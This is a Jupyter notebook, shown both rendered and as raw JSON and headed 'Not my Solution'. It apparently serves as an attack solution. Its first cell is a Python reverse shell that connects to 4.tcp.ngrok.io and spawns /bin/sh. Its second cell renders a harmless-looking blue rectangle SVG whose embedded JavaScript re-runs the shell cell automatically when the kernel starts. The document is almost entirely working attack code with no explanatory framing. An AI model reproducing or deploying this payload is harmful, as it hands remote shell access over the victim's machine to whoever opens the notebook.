Jupyter
Not my Solution
In [4]:
import sys
import socket
import os
import pty
s = socket.socket()
s.connect(("4.tcp.ngrok.io", 18379))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn("/bin/sh")
Out[4]:
0
In [1]:
from IPython.display import SVG, display
s = """<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
Jupyter.notebook.events.one('kernel_ready.Kernel', () => {
Jupyter.notebook.execute_cells([0]);
})
</script>
</svg>
"""
display(SVG(data=s))
{
"cells": [
{
"cell_type": "code",
"execution_count": 4,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"0"
]
},
"execution_count": 4,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"import sys\n",
"import socket\n",
"import os\n",
"import pty\n",
"s = socket.socket()\n",
"s.connect((\"4.tcp.ngrok.io\", 18379))\n",
"[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n",
"pty.spawn(\"/bin/sh\")"
]
},
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [
{
"data": {
"image/svg+xml": [
"<svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" baseProfile=\"full\">\n",
" <rect width=\"300\" height=\"100\" style=\"fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)\"/>\n",
" <script type=\"text/javascript\">\n",
" Jupyter.notebook.events.one('kernel_ready.Kernel', () => {\n",
" Jupyter.notebook.execute_cells([0]);\n",
" })\n",
" </script>\n",
"</svg>"
],
"text/plain": [
"<IPython.core.display.SVG object>"
]
},
"metadata": {},
"output_type": "display_data"
}
],
"source": [
"from IPython.display import SVG, display\n",
"s = \"\"\"<?xml version=\"1.0\" standalone=\"no\"?>\n",
"<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n",
"\n",
"<svg version=\"1.1\" baseProfile=\"full\" xmlns=\"http://www.w3.org/2000/svg\">\n",
" <rect width=\"300\" height=\"100\" style=\"fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)\" />\n",
" <script type=\"text/javascript\">\n",
" Jupyter.notebook.events.one('kernel_ready.Kernel', () => {\n",
" Jupyter.notebook.execute_cells([0]);\n",
" })\n",
" </script>\n",
"</svg>\n",
"\"\"\"\n",
"display(SVG(data=s))"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.8.10"
}
},
"nbformat": 4,
"nbformat_minor": 4
}
Last updated